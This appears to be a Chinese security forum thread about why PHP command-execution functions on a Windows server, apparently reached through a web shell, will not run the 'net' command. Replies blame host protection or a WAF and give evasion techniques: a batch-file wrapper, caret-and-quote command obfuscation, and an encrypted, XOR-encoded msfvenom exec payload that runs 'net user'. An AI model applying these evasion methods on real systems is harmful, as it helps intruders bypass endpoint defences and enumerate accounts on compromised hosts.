php无法执行net命令

php利用exec system passthru shell_exec popen proc_open都无法执行net命令,其他命令正常执行。

自己上传一个net.exe即可解决

遇到云锁了吧

1 个赞

有三个思路:
0)将 net 命令写入批处理文件中,如:
cmd /k net user
1)命令行混淆。如:
N^e""t u^s""Er
2)MSF 的 windows/x64/exec 载荷可以封装命令执行,如:

msfvenom \
  --payload windows/x64/exec CMD='cmd /k net user' \
  --platform win --arch x64 \
  --encrypt rc4 --encrypt-key p@S5wd \
  --encoder x64/xor --iterations 16 \
  --format exe --out ~/foo.exe
2 个赞

要么waf限制了 要么net被删了